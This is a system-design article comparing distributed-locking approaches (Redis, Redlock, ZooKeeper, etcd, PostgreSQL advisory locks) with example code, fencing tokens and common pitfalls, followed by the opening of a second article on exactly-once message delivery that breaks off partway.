**Approach 1: File-based locks across NFS**

```typescript
// Naive NFS lock - seems simple
async function acquireLock(path: string): Promise<boolean> {
  try {
    await fs.writeFile(path, process.pid, { flag: "wx" }) // exclusive create
    return true
  } catch {
    return false // file exists
  }
}
```

Fails because:

- **NFS semantics vary**: `O_EXCL` isn't atomic on all NFS implementations
- **No expiration**: If the process crashes, lock file persists forever
- **No fencing**: Stale lock holders can still access the resource

**Approach 2: Database row locks**

```sql
-- Lock by inserting a row
INSERT INTO locks (resource_id, holder, acquired_at)
VALUES ('resource-1', 'client-a', NOW())
ON CONFLICT DO NOTHING;
```

Fails because:

- **No automatic expiration**: Crashed clients leave orphan locks
- **Clock drift**: `acquired_at` timestamps unreliable across nodes
- **Single point of failure**: Database becomes bottleneck

**Approach 3: Redis SETNX without TTL**

```
SETNX resource:lock client-id
```

Fails because:

- **No expiration**: Crashed client locks resource forever
- **Race on release**: Client must check-then-delete atomically

### The Core Challenge

The fundamental tension: **distributed systems are asynchronous**—there are no bounded delays on message delivery, no bounded process pauses, and no bounded clock drift.

Distributed locks exist to provide **mutual exclusion** across this asynchronous environment. The challenge: you cannot distinguish a slow client from a crashed client, and you cannot trust clocks.

> "Distributed locks are not just a scaling challenge—they're a correctness challenge. The algorithm must be correct even when clocks are wrong, networks are partitioned, and processes pause unexpectedly."
> — Martin Kleppmann, "How to do distributed locking" (2016)

## Lease-Based Locking

All practical distributed locks use **leases**—time-bounded locks that expire automatically. This prevents indefinite lock holding by crashed clients.

### Core Mechanism

![Diagram](./diagram-1.svg)

### TTL Selection Formula

```
MIN_VALIDITY = TTL - (T_acquire - T_start) - CLOCK_DRIFT
```

Where:

- **TTL**: Initial lease duration
- **T_acquire - T_start**: Time elapsed acquiring the lock
- **CLOCK_DRIFT**: Maximum expected clock skew between client and server

**Practical guidance:**

- **JVM applications**: TTL ≥ 60s (stop-the-world GC can pause for seconds)
- **Go/Rust applications**: TTL ≥ 30s (less GC concern, but network issues)
- **General rule**: TTL should be 10x your expected operation duration

### Clock Skew Issues

**Wall-clock danger:** Redis uses wall-clock time for TTL expiration. If the server's clock jumps forward (NTP adjustment, manual change), leases expire prematurely.

**Example failure scenario:**

1. Client acquires lock with TTL=30s at server time T
2. NTP adjusts server clock forward by 20s
3. Lock expires at "T+30s" = actual T+10s
4. Client still working; another client acquires lock
5. **Two clients now hold the "same" lock**

**Mitigation:** Use monotonic clocks where possible. Linux `clock_gettime(CLOCK_MONOTONIC)` measures elapsed time without wall-clock adjustments.

> **Prior to Redis 7.0:** TTL expiration relied entirely on wall-clock time. Redis 7.0+ uses monotonic clocks internally for some operations, but the fundamental issue remains for distributed Redlock scenarios where multiple independent clocks are involved.

## Design Paths

### Path 1: Redis Single-Node Lock

**When to choose:**

- Lock is for efficiency (prevent duplicate work), not correctness
- Single point of failure is acceptable
- Lowest latency requirement

**Implementation:**

```typescript collapse={1-2}
import { Redis } from "ioredis"

async function acquireLock(redis: Redis, resource: string, clientId: string, ttlMs: number): Promise<boolean> {
  // SET with NX (only if not exists) and PX (millisecond expiry)
  const result = await redis.set(resource, clientId, "NX", "PX", ttlMs)
  return result === "OK"
}

async function releaseLock(redis: Redis, resource: string, clientId: string): Promise<boolean> {
  // Lua script: atomic check-and-delete
  // Only delete if we still own the lock
  const script = `
    if redis.call("get", KEYS[1]) == ARGV[1] then
      return redis.call("del", KEYS[1])
    else
      return 0
    end
  `
  const result = await redis.eval(script, 1, resource, clientId)
  return result === 1
}
```

**Why the Lua script for release:** Without atomic check-and-delete, this race exists:

1. Client A's lock expires
2. Client B acquires lock
3. Client A (still thinking it has lock) calls `DEL`
4. Client A deletes Client B's lock

**Trade-offs:**

| Advantage                 | Disadvantage               |
| ------------------------- | -------------------------- |
| Simple implementation     | Single point of failure    |
| Low latency (~1ms)        | No automatic failover      |
| Well-understood semantics | Lost locks on master crash |

**Real-world:** This approach works well for rate limiting, cache stampede prevention, and other scenarios where occasional double-execution is tolerable.

### Path 2: Redlock (Multi-Node Redis)

**When to choose:**

- Need fault tolerance for efficiency locks
- Can tolerate timing assumptions
- Want Redis ecosystem (Lua scripts, familiar API)

**Algorithm (N=5 independent Redis instances):**

1. Get current time in milliseconds
2. Try to acquire lock on ALL N instances sequentially, with small timeout per instance
3. Lock is acquired if: majority (N/2 + 1) succeeded AND total elapsed time < TTL
4. Validity time = TTL - elapsed time
5. If failed, release lock on ALL instances (even those that succeeded)

```typescript collapse={1-8}
import { Redis } from "ioredis"
import { randomBytes } from "crypto"

interface RedlockResult {
  acquired: boolean
  validity: number
  value: string
}

async function redlockAcquire(instances: Redis[], resource: string, ttlMs: number): Promise<RedlockResult> {
  const value = randomBytes(20).toString("hex")
  const startTime = Date.now()
  const quorum = Math.floor(instances.length / 2) + 1

  let acquired = 0
  for (const redis of instances) {
    try {
      const result = await redis.set(resource, value, "NX", "PX", ttlMs)
      if (result === "OK") acquired++
    } catch {
      // Instance unavailable, continue
    }
  }

  const elapsed = Date.now() - startTime
  const validity = ttlMs - elapsed

  if (acquired >= quorum && validity > 0) {
    return { acquired: true, validity, value }
  }

  // Failed - release all locks
  await Promise.all(instances.map((r) => releaseLock(r, resource, value)))
  return { acquired: false, validity: 0, value }
}
```

**Critical limitation:** Redlock generates random values (20 bytes from `/dev/urandom`), not monotonically increasing tokens. **You cannot use Redlock values for fencing** because resources cannot determine which token is "newer."

**Trade-offs vs single-node:**

| Aspect            | Single-Node | Redlock (N=5)              |
| ----------------- | ----------- | -------------------------- |
| Fault tolerance   | None        | Survives N/2 failures      |
| Latency           | ~1ms        | ~5ms (sequential attempts) |
| Complexity        | Low         | Medium                     |
| Fencing support   | No          | No                         |
| Clock assumptions | Server only | All N servers + client     |

### Path 3: ZooKeeper

**When to choose:**

- Correctness-critical locks (fencing required)
- Already running ZooKeeper (Kafka, HBase ecosystem)
- Can tolerate higher latency for stronger guarantees

**Ephemeral sequential node recipe:**

![Diagram](./diagram-2.svg)

**Algorithm:**

1. Client creates ephemeral sequential node under `/locks/resource`
2. Client lists all children, sorts by sequence number
3. If client's node has lowest sequence: lock acquired
4. Otherwise: set watch on the node with next-lowest sequence number
5. When watch fires: repeat step 2

**Why watch predecessor, not parent:**

- Watching parent causes **thundering herd**: all N clients wake when lock releases
- Watching predecessor: only next client wakes

**Fencing via zxid:** ZooKeeper's transaction ID (zxid) is a monotonically increasing 64-bit number. Use the zxid of your lock node as a fencing token.

```java collapse={1-6}
import org.apache.zookeeper.*;
import java.util.List;
import java.util.Collections;

public class ZkLock {
    private final ZooKeeper zk;
    private final String lockPath;
    private String myNode;

    public long acquireLock(String resource) throws Exception {
        // Create ephemeral sequential node
        myNode = zk.create(
            "/locks/" + resource + "/lock-",
            new byte[0],
            ZooDefs.Ids.OPEN_ACL_UNSAFE,
            CreateMode.EPHEMERAL_SEQUENTIAL
        );

        while (true) {
            List<String> children = zk.getChildren("/locks/" + resource, false);
            Collections.sort(children);

            String smallest = children.get(0);
            if (myNode.endsWith(smallest)) {
                // We have the lock - return zxid as fencing token
                Stat stat = zk.exists(myNode, false);
                return stat.getCzxid();
            }

            // Find predecessor and watch it
            int myIndex = children.indexOf(myNode.substring(myNode.lastIndexOf('/') + 1));
            String predecessor = children.get(myIndex - 1);

            // This blocks until predecessor is deleted
            Stat stat = zk.exists("/locks/" + resource + "/" + predecessor, true);
            if (stat != null) {
                // Wait for watch notification
                synchronized (this) { wait(); }
            }
        }
    }
}
```

**Trade-offs:**

| Advantage                           | Disadvantage                  |
| ----------------------------------- | ----------------------------- |
| Strong consistency (Zab consensus)  | Higher latency (2+ RTTs)      |
| Automatic cleanup (ephemeral nodes) | Operational complexity        |
| Fencing tokens (zxid)               | Session management overhead   |
| No clock assumptions                | Quorum unavailable = no locks |

### Path 4: etcd

**When to choose:**

- Kubernetes-native environment
- Prefer gRPC over custom protocols
- Need distributed KV store beyond just locking

**Lease-based locking:**

etcd provides first-class lease primitives. A lease is a token with a TTL; keys can be attached to leases and are automatically deleted when the lease expires.

```go collapse={1-10}
package main

import (
    "context"
    "time"
    clientv3 "go.etcd.io/etcd/client/v3"
    "go.etcd.io/etcd/client/v3/concurrency"
)

func acquireLock(client *clientv3.Client, resource string) (*concurrency.Mutex, error) {
    // Create session with 30s TTL
    session, err := concurrency.NewSession(client, concurrency.WithTTL(30))
    if err != nil {
        return nil, err
    }

    // Create mutex and acquire
    mutex := concurrency.NewMutex(session, "/locks/"+resource)
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()

    if err := mutex.Lock(ctx); err != nil {
        return nil, err
    }

    // Use mutex.Header().Revision as fencing token
    return mutex, nil
}
```

**Fencing via revision:** etcd assigns a globally unique, monotonically increasing revision to every modification. Use `mutex.Header().Revision` as your fencing token.

**Critical limitation (Jepsen finding):** Under network partitions, etcd locks can fail to provide mutual exclusion. Jepsen testing found ~18% loss of acknowledged updates when locks protected concurrent modifications. The root cause: etcd must sacrifice correctness to preserve liveness in asynchronous systems.

> "etcd's lock is not safe. It is possible for two processes to simultaneously hold the same lock, even in healthy clusters."
> — Kyle Kingsbury, Jepsen analysis of etcd 3.4.3 (2020)

**Trade-offs:**

| Advantage                           | Disadvantage                   |
| ----------------------------------- | ------------------------------ |
| Raft consensus (strong consistency) | Jepsen found safety violations |
| Native lease support                | Higher latency than Redis      |
| Kubernetes integration              | Operational complexity         |
| Revision-based fencing              | Quorum unavailable = no locks  |

### Path 5: Database Advisory Locks (PostgreSQL)

**When to choose:**

- Already using PostgreSQL
- Lock scope is single database
- Don't want external dependencies

**Session-level advisory locks:**

```sql
-- Acquire lock (blocks until available)
SELECT pg_advisory_lock(hashtext('resource-1'));

-- Try acquire (returns immediately)
SELECT pg_try_advisory_lock(hashtext('resource-1'));

-- Release
SELECT pg_advisory_unlock(hashtext('resource-1'));
```

**Transaction-level advisory locks:**

```sql
-- Automatically released at transaction end
SELECT pg_advisory_xact_lock(hashtext('resource-1'));

-- Then do your work within the transaction
UPDATE resources SET ... WHERE id = 'resource-1';
```

**Lock ID generation:** Advisory locks take a 64-bit integer key. Use `hashtext()` for string-based resource IDs, or encode your own scheme.

**Connection pooling danger:** Session-level locks are tied to the database connection. With connection pooling (PgBouncer), your "session" may be reused by another client, leaking locks. **Use transaction-level locks with connection pooling.**

**Trade-offs:**

| Advantage                     | Disadvantage                |
| ----------------------------- | --------------------------- |
| No external dependencies      | Single database scope       |
| ACID guarantees               | Connection pooling issues   |
| Already have PostgreSQL       | Not for multi-database      |
| Automatic transaction cleanup | Lock ID collisions possible |

### Comparison Matrix

| Factor                 | Redis Single | Redlock         | ZooKeeper    | etcd             | PostgreSQL      |
| ---------------------- | ------------ | --------------- | ------------ | ---------------- | --------------- |
| Fault tolerance        | None         | N/2 failures    | N/2 failures | N/2 failures     | Database HA     |
| Fencing tokens         | No           | No              | Yes (zxid)   | Yes (revision)   | No              |
| Latency (acquire)      | ~1ms         | ~5-10ms         | ~10-50ms     | ~10-50ms         | ~1-5ms          |
| Clock assumptions      | Yes          | Yes (all nodes) | No           | No               | No              |
| Correctness guarantee  | No           | No              | Yes          | Partial (Jepsen) | Yes (single DB) |
| Operational complexity | Low          | Medium          | High         | Medium           | Low             |

### Decision Framework

![Diagram](./diagram-3.svg)

## Fencing Tokens

### The Problem They Solve

Leases expire. When they do, a "stale" lock holder may still be executing its critical section. Without fencing, this corrupts the protected resource.

**Example failure scenario:**

![Diagram](./diagram-4.svg)

### How Fencing Tokens Work

1. Lock service issues **monotonically increasing token** with each grant
2. Client includes token with every operation on protected resource
3. Resource tracks **highest token ever seen**
4. Resource **rejects** operations with token < highest seen

![Diagram](./diagram-5.svg)

### Implementation Pattern

**Lock service side:**

```typescript collapse={1-4}
interface LockGrant {
  token: bigint // Monotonically increasing
  expiresAt: number
}

class FencingLockService {
  private nextToken: bigint = 1n
  private locks: Map<string, { holder: string; token: bigint; expiresAt: number }> = new Map()

  acquire(resource: string, clientId: string, ttlMs: number): LockGrant | null {
    const existing = this.locks.get(resource)
    if (existing && existing.expiresAt > Date.now()) {
      return null // Lock held
    }

    const token = this.nextToken++
    const expiresAt = Date.now() + ttlMs
    this.locks.set(resource, { holder: clientId, token, expiresAt })

    return { token, expiresAt }
  }
}
```

**Resource side:**

```typescript collapse={1-6}
interface FencedWrite {
  token: bigint
  data: unknown
}

class FencedStorage {
  private highestToken: Map<string, bigint> = new Map()
  private data: Map<string, unknown> = new Map()

  write(resource: string, write: FencedWrite): boolean {
    const highest = this.highestToken.get(resource) ?? 0n

    if (write.token < highest) {
      // Stale token - reject
      return false
    }

    // Accept write, update highest seen
    this.highestToken.set(resource, write.token)
    this.data.set(resource, write.data)
    return true
  }
}
```

### Why Random Values Don't Work

Redlock uses random values (20 bytes), not ordered tokens. A resource cannot determine if `abc123` is "newer" than `xyz789`. This is why Redlock cannot provide fencing—the values lack the **ordering property** required to reject stale operations.

> "To make the lock safe with fencing, you need not just a random token, but a monotonically increasing token. And the only way to generate a monotonically increasing token is to use a consensus protocol."
> — Martin Kleppmann

### ZooKeeper zxid as Fencing Token

ZooKeeper's transaction ID (zxid) is perfect for fencing:

- **Monotonically increasing**: Every ZK transaction increments it
- **Globally ordered**: All clients see same ordering
- **Available at lock time**: `Stat.getCzxid()` returns creation zxid

```java
// When acquiring lock
Stat stat = zk.exists(myLockNode, false);
long fencingToken = stat.getCzxid();

// When accessing resource
resource.write(data, fencingToken);
```

## The Redlock Controversy

### Kleppmann's Critique (2016)

Martin Kleppmann identified fundamental problems with Redlock:

**1. Timing assumptions violated by real systems:**

Redlock assumes bounded network delay, bounded process pauses, and bounded clock drift. Real systems violate all three:

- Network packets can be delayed arbitrarily (TCP retransmits, routing changes)
- GC pauses can exceed lease TTL (observed: 1+ minutes in production JVMs)
- Clock skew can be seconds under adversarial NTP conditions

**2. No fencing capability:**

Even if Redlock worked perfectly, it generates random values, not monotonic tokens. Resources cannot reject stale operations.

**3. Clock jump scenario:**

1. Client acquires lock on 3 of 5 Redis instances
2. Clock on one instance jumps forward (NTP sync)
3. Lock expires prematurely on that instance
4. Another client acquires on 3 instances (the jumped one + 2 others)
5. **Two clients now hold majority**

### Antirez's Response

Salvatore Sanfilippo (Redis creator) responded:

**1. Random values + CAS = sufficient:**

> "The token is a random string. If you use check-and-set (CAS), you can use the random string to ensure that only the lock owner can modify the resource."

**2. Post-acquisition time check:**

Redlock spec includes checking elapsed time after acquisition. If elapsed > TTL, the lock is considered invalid. This allegedly handles delayed responses.

**3. Monotonic clocks:**

Proposed using `CLOCK_MONOTONIC` instead of wall clocks to eliminate clock jump issues.

### The Verdict

Neither argument is fully satisfying:

| Kleppmann's points       | Antirez's counterpoints      | Reality                                                             |
| ------------------------ | ---------------------------- | ------------------------------------------------------------------- |
| GC pauses violate timing | Post-acquisition check helps | Pauses can happen _during_ resource access, not just during acquire |
| No fencing possible      | Random + CAS works           | CAS requires resource to store lock value; not always feasible      |
| Clock jumps break safety | Use monotonic clocks         | Cross-machine monotonic clocks don't exist                          |

**Practical guidance:**

- **Efficiency locks**: Redlock is acceptable. Double-execution is annoying but not catastrophic.
- **Correctness locks**: Use consensus-based systems (ZooKeeper) with fencing tokens. Redlock's random values cannot fence.

## Production Implementations

### Google Chubby: The Original

**Context:** Internal distributed lock service powering GFS, BigTable, and other Google infrastructure. Open-sourced concept inspired ZooKeeper.

**Architecture:**

- 5-replica Paxos cluster
- Replicas elect master using Paxos; master lease is several seconds
- Client sessions with grace periods (45s default)
- Files + locks (locks are files with special semantics)

**Key design decisions:**

- **Coarse-grained locks**: Designed for locks held minutes to hours, not milliseconds
- **Advisory locks by default**: Files don't prevent access without explicit lock checks
- **Master lease renewal**: Master doesn't lose leadership on brief network blips
- **Client grace period**: On leader change, clients have 45s to reconnect before session (and locks) invalidate

**Fencing mechanism:** Chubby supports sequencers (fencing tokens). The lock service hands out sequencers; resources can verify them with Chubby before accepting writes.

> "If a process's lease has expired, the lock server will refuse to validate the sequencer."
> — Mike Burrows, "The Chubby Lock Service" (2006)

**Scale:** Chubby is not designed for high-frequency locking. It's optimized for reliability of infrequent operations, not throughput.

### Uber: Driver Assignment

**Context:** When a rider requests a cab, multiple nearby drivers could be assigned. Exactly one driver must be assigned per ride.

**Problem:**

- Multiple matching service instances receive the same request
- Race condition: both try to assign the same driver
- Result: driver assigned to multiple rides, customer experience failure

**Solution:**

- Distributed lock on `driver:{driver_id}` before assignment
- Lock held only during assignment operation (~10-100ms)
- Redis-based (likely Redlock or single-node with replication)

**Why it works:** This is an efficiency lock. If two services somehow both assign the same driver (lock failure), the booking system downstream rejects the duplicate. Occasional failures are detected and handled.

### Netflix: Job Deduplication

**Context:** Millions of distributed jobs, some triggered by events that may arrive multiple times.

**Problem:**

- Event arrives at multiple consumer instances
- Same job should execute exactly once
- Idempotency alone doesn't help if job has side effects

**Solution approach:**

- Acquire lock before processing event
- Lock key: `job:{event_id}:{job_type}`
- TTL: Expected job duration + buffer
- Combined with idempotency keys in downstream services

**Insight:** Netflix uses a layered approach—locks provide first-line deduplication, idempotent operations provide safety net, and monitoring detects drift.

### Implementation Comparison

| Aspect    | Google Chubby              | Uber                       | Netflix                    |
| --------- | -------------------------- | -------------------------- | -------------------------- |
| Lock type | Correctness                | Efficiency                 | Efficiency                 |
| Duration  | Minutes-hours              | Milliseconds               | Seconds                    |
| Backend   | Paxos (custom)             | Redis                      | Redis/ZK hybrid            |
| Fencing   | Sequencers                 | Downstream checks          | Idempotency keys           |
| Scale     | Low freq, high reliability | High freq, acceptable loss | High freq, acceptable loss |

## Lock-Free Alternatives

### When to Avoid Locks Entirely

Distributed locks add complexity and failure modes. Before reaching for a lock, consider:

**1. Idempotent operations:**

If your operation can safely execute multiple times with the same result, you don't need a lock.

```typescript
// Bad: non-idempotent
async function incrementCounter(id: string) {
  const current = await db.get(id)
  await db.set(id, current + 1)
}

// Good: idempotent with versioning
async function setCounterIfMatch(id: string, expectedVersion: number, newValue: number) {
  await db
    .update(id)
    .where("version", expectedVersion)
    .set({ value: newValue, version: expectedVersion + 1 })
}
```

**2. Compare-and-Swap (CAS):**

Many databases support atomic CAS. Use it instead of external locks.

```sql
-- CAS-based update
UPDATE resources
SET value = 'new-value', version = version + 1
WHERE id = 'resource-1' AND version = 42;

-- Check rows affected - if 0, retry with fresh version
```

**3. Optimistic concurrency:**

Assume no conflicts; detect and retry on collision.

```typescript collapse={1-6}
interface VersionedResource {
  data: unknown
  version: number
}

async function optimisticUpdate(id: string, transform: (data: unknown) => unknown) {
  while (true) {
    const resource = await db.get(id)
    const newData = transform(resource.data)

    const updated = await db.update(id, {
      data: newData,
      version: resource.version + 1,
      _where: { version: resource.version },
    })

    if (updated) return // Success
    // Version conflict - retry
  }
}
```

**4. Queue-based serialization:**

Route all operations for a resource to a single queue/partition.

![Diagram](./diagram-6.svg)

This eliminates concurrent access by design.

### Decision: Lock vs Lock-Free

| Factor                  | Use Distributed Lock         | Use Lock-Free                    |
| ----------------------- | ---------------------------- | -------------------------------- |
| Operation complexity    | Multi-step, non-decomposable | Single atomic operation          |
| Conflict frequency      | Rare                         | Frequent (CAS retries expensive) |
| Side effects            | External (can't retry)       | Local (can retry)                |
| Existing infrastructure | Lock service available       | Database has CAS                 |
| Team expertise          | Lock patterns understood     | Lock-free patterns understood    |

## Common Pitfalls

### 1. Holding Locks Across Async Boundaries

**The mistake:** Acquiring lock, then making RPC calls or doing I/O while holding it.

```typescript
// Dangerous: lock held during external call
const lock = await acquireLock(resource)
const data = await externalService.fetch() // Network call!
await db.update(resource, data)
await releaseLock(lock)
```

**What goes wrong:**

- External call takes 10s; lock TTL is 5s
- Lock expires while you're still working
- Another client acquires and corrupts data

**Solution:** Minimize lock scope. Fetch data first, then lock-update-unlock quickly.

```typescript
// Better: minimize lock duration
const data = await externalService.fetch()

const lock = await acquireLock(resource)
await db.update(resource, data)
await releaseLock(lock)
```

### 2. Ignoring Lock Acquisition Failure

**The mistake:** Assuming lock acquisition always succeeds.

```typescript
// Dangerous: no failure handling
await acquireLock(resource)
await criticalOperation()
await releaseLock(resource)
```

**What goes wrong:**

- Lock service unavailable → operation proceeds without lock
- Lock contention → silent failure, concurrent access

**Solution:** Always check acquisition result and handle failure.

```typescript
const acquired = await acquireLock(resource)
if (!acquired) {
  throw new Error("Failed to acquire lock - cannot proceed")
}
try {
  await criticalOperation()
} finally {
  await releaseLock(resource)
}
```

### 3. Lock-Release Race with TTL

**The mistake:** Releasing a lock you no longer own (it expired and was re-acquired).

```typescript
// Dangerous: release without ownership check
await lock.release() // May delete another client's lock!
```

**What goes wrong:**

1. Your lock expires due to slow operation
2. Another client acquires the lock
3. Your `release()` deletes their lock
4. Third client acquires, now two clients think they have it

**Solution:** Atomic release that checks ownership (shown in Redis Lua script earlier).

### 4. Thundering Herd on Lock Release

**The mistake:** All waiting clients wake simultaneously when lock releases.

**What goes wrong with ZooKeeper naive implementation:**

- 1000 clients watch `/locks/resource` parent node
- Lock releases, all 1000 receive watch notification
- All 1000 call `getChildren()` simultaneously
- ZooKeeper overloaded, lock acquisition stalls

**Solution:** Watch predecessor only (shown in ZooKeeper recipe earlier). Only one client wakes per release.

### 5. Missing Fencing on Correctness-Critical Locks

**The mistake:** Using Redlock (or any lease-based lock) without fencing for correctness-critical operations.

```typescript
// Dangerous: no fencing
const lock = await redlock.acquire(resource)
await storage.write(data) // Stale lock holder can overwrite!
await redlock.release(lock)
```

**Solution:** Either use a lock service with fencing tokens (ZooKeeper) or accept that this lock is efficiency-only.

### 6. Session-Level Locks with Connection Pooling

**The mistake:** Using PostgreSQL session-level advisory locks with PgBouncer.

```sql
-- Acquired by connection in pool
SELECT pg_advisory_lock(12345);
-- Connection returned to pool
-- Other client reuses connection
-- Lock is still held by "other" client!
```

**Solution:** Use transaction-level locks with pooling.

```sql
BEGIN;
SELECT pg_advisory_xact_lock(12345);
-- Do work
COMMIT; -- Lock automatically released
```

## Conclusion

Distributed locking is a coordination primitive that requires careful consideration of failure modes, timing assumptions, and fencing requirements.

**Key decisions:**

1. **Efficiency vs correctness:** Most locks are for efficiency (preventing duplicate work). These can use simpler implementations with known failure modes. Correctness-critical locks require consensus protocols and fencing.

2. **Fencing is non-negotiable for correctness:** Without fencing tokens, lease expiration during long operations corrupts data. Random lock values (Redlock) cannot fence.

3. **Timing assumptions are dangerous:** Redlock's safety depends on bounded network delays, process pauses, and clock drift. Real systems violate all three.

4. **Consider lock-free alternatives:** Idempotent operations, CAS, optimistic concurrency, and queue-based serialization often work better than distributed locks.

**Start simple:** Single-node Redis locks work for most efficiency scenarios. Graduate to ZooKeeper with fencing only when correctness is critical and you understand the operational cost.

## Appendix

### Prerequisites

- Distributed systems fundamentals (network partitions, consensus)
- CAP theorem and consistency models
- Basic understanding of lease-based coordination

### Terminology

| Term               | Definition                                                                        |
| ------------------ | --------------------------------------------------------------------------------- |
| **Lease**          | Time-bounded lock that expires automatically                                      |
| **Fencing token**  | Monotonically increasing identifier that resources use to reject stale operations |
| **TTL**            | Time-To-Live; duration before lease expires                                       |
| **Quorum**         | Majority of nodes (N/2 + 1) required for consensus                                |
| **Split-brain**    | Network partition where multiple partitions believe they are authoritative        |
| **zxid**           | ZooKeeper transaction ID; monotonically increasing, usable as fencing token       |
| **Advisory lock**  | Lock that doesn't prevent access—just signals intention                           |
| **Ephemeral node** | ZooKeeper node that is automatically deleted when the client session ends         |

### Summary

- Distributed locks are **harder than they appear**—network partitions, clock drift, and process pauses all cause multiple clients to believe they hold the same lock
- **Leases** (auto-expiring locks) prevent deadlock but introduce the lease-expiration-during-work problem
- **Fencing tokens** solve this by having the resource reject operations from stale lock holders
- **Redlock** provides fault-tolerant efficiency locks but **cannot fence** (random values lack ordering)
- **ZooKeeper/etcd** provide fencing tokens (zxid/revision) but add operational complexity
- **Lock-free alternatives** (CAS, idempotency, queues) often work better than distributed locks
- For **correctness-critical** locks: use consensus + fencing; for **efficiency** locks: Redis single-node is often sufficient

### References

**Foundational:**

- [How to do distributed locking](https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html) - Martin Kleppmann's analysis of Redlock.
- [Is Redlock safe?](https://antirez.com/news/101) - Salvatore Sanfilippo's response.
- [The Chubby Lock Service for Loosely-Coupled Distributed Systems](https://research.google/pubs/the-chubby-lock-service-for-loosely-coupled-distributed-systems/) - Mike Burrows, OSDI 2006.

**Implementation Documentation:**

- [Redis Distributed Locks](https://redis.io/docs/latest/develop/clients/patterns/distributed-locks/) - Official Redis distributed lock documentation.
- [ZooKeeper Recipes and Solutions](https://zookeeper.apache.org/doc/current/recipes.html) - Official ZooKeeper lock recipe.
- [etcd Concurrency API](https://etcd.io/docs/v3.5/dev-guide/api_concurrency_ref/) - etcd lease and lock APIs.
- [PostgreSQL Advisory Locks](https://www.postgresql.org/docs/current/explicit-locking.html#ADVISORY-LOCKS) - PostgreSQL documentation.

**Testing and Analysis:**

- [Jepsen: etcd 3.4.3](https://jepsen.io/analyses/etcd-3.4.3) - Kyle Kingsbury's analysis finding safety violations in etcd locks.
- [Designing Data-Intensive Applications](https://dataintensive.net/) - Martin Kleppmann. Chapter 8 covers distributed coordination.

**Libraries:**

- [Redisson](https://redisson.org/) - Redis Java client with distributed locks.
- [node-redlock](https://github.com/mike-marcacci/node-redlock) - Redlock implementation for Node.js.
- [Curator](https://curator.apache.org/) - ZooKeeper recipes including distributed locks.

---

## Exactly-Once Delivery

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/exactly-once-delivery
**Category:** System Design / Core Distributed Patterns
**Description:** True exactly-once delivery is impossible in distributed systems—the Two Generals Problem (1975) and FLP impossibility theorem (1985) prove this mathematically. What we call “exactly-once” is actually “effectively exactly-once”: at-least-once delivery combined with idempotency and deduplication mechanisms that ensure each message’s effect occurs exactly once, even when the message itself is delivered multiple times.

# Exactly-Once Delivery

True exactly-once delivery is impossible in distributed systems—the Two Generals Problem (1975) and FLP impossibility theorem (1985) prove this mathematically. What we call "exactly-once" is actually "effectively exactly-once": at-least-once delivery combined with idempotency and deduplication mechanisms that ensure each message's effect occurs exactly once, even when the message itself is delivered multiple times.

<figure>

![Exactly-once semantics: at-least-once delivery + idempotent consumption = effectively exactly-once effect.](./exactly-once-semantics-at-least-once-delivery-idempotent-consumption-effectively.svg)

<figcaption>Exactly-once semantics: at-least-once delivery + idempotent consumption = effectively exactly-once effect.</figcaption>
</figure>

## Abstract

The mental model for exactly-once semantics:

1. **Network unreliability is fundamental**—messages can be lost, duplicated, or reordered. No protocol can guarantee exactly-once delivery at the network layer.

2. **Exactly-once is a composition**: at-least-once delivery (never lose messages) + idempotency/deduplication (make duplicates harmless) = exactly-once effect.

3. **Three implementation layers**:
   - **Producer side**: Idempotent producers with sequence numbers (Kafka), idempotency keys (Stripe)
   - **Broker side**: Deduplication windows (SQS: 5 min, Azure: up to 7 days), FIFO ordering, transactional commits
   - **Consumer side**: Idempotent operations, processed-message tracking, atomic state updates

4. **The deduplication window trade-off**: Every system must choose how long to remember message IDs. Shorter windows save storage but risk duplicates from slow retries. Longer windows add overhead but catch more duplicates.

5. **Boundary matters**: Most exactly-once guarantees (Kafka, Pub/Sub) stop at system boundaries. Cross-system exactly-once requires additional patterns (transactional outbox, idempotent consumers).

## The Problem

### Why Naive Solutions Fail

**Approach 1: Fire-and-forget (at-most-once)**

Send the message once with no retries. If the network drops it, the message is lost forever.

- Fails because: Message loss is common—TCP connections drop, services restart, packets get corrupted
- Example: Payment notification lost → customer never knows payment succeeded → duplicate payment attempt

**Approach 2: Retry until acknowledged (at-least-once)**

Keep retrying until you receive an acknowledgment. Never lose a message.

- Fails because: The acknowledgment itself can be lost. Producer retries a message that was actually processed.
- Example: Transfer $100 → ack lost → retry → transfer $100 again → $200 withdrawn

**Approach 3: Distributed transactions (two-phase commit)**

Coordinate sender and receiver in a distributed transaction to ensure atomic delivery.

- Fails because: Blocks on coordinator availability, doesn't handle network partitions, terrible performance
- Example: 2PC coordinator fails while holding locks → all participants blocked indefinitely

### The Core Challenge

The fundamental tension: **reliability requires retries, but retries create duplicates**.

The Two Generals Problem proves this mathematically. Two parties cannot achieve certainty of agreement over an unreliable channel—any finite sequence of confirmations leaves doubt about whether the final message arrived.

> **FLP Impossibility (Fischer, Lynch, Patterson, 1985)**: No deterministic algorithm can solve consensus in an asynchronous system where even one process may fail. The theorem assumes reliable message delivery but unbounded delays—any fault-tolerant consensus algorithm has runs that never terminate.

Practical systems circumvent FLP through randomized algorithms (Ben-Or, Rabin), partial synchrony assumptions (Paxos, Raft), or failure detectors. The implication for exactly-once: we cannot guarantee it at the protocol level, so we make duplicates harmless instead.

## Delivery Semantics

### At-Most-Once

Each message is delivered zero or one times. Messages may be lost but are never redelivered.

**Implementation**: Send once, no retries, no acknowledgment tracking.

**Trade-offs**:

- ✅ Lowest latency and complexity
- ✅ No duplicate handling needed
- ❌ Data loss is guaranteed over time
- ❌ Unsuitable for critical operations

**Use cases**: Metrics collection, logging, real-time analytics where occasional loss is acceptable.

### At-Least-Once

Each message is delivered one or more times. Messages are never lost, but duplicates occur.

**Implementation**: Retry with exponential backoff until acknowledgment received. Store unacked messages durably.

**Trade-offs**:

- ✅ No data loss
- ✅ Simple to implement
- ❌ Consumer must handle duplicates
- ❌ Ordering not guaranteed with retries

**Use cases**: Event sourcing, audit logs, any system where data loss is unacceptable and consumers are idempotent.

### Exactly-Once (Effectively)

Each message's effect occurs exactly once. The message may be delivered multiple times, but the system ensures idempotent processing.

**Implementation**: At-least-once delivery + one of:

- Idempotent operations (natural or designed)
- Deduplication at consumer (track processed message IDs)
- Transactional processing (atomic read-process-write)

**Trade-offs**:

- ✅ No data loss, no duplicate effects
- ❌ Higher complexity and latency
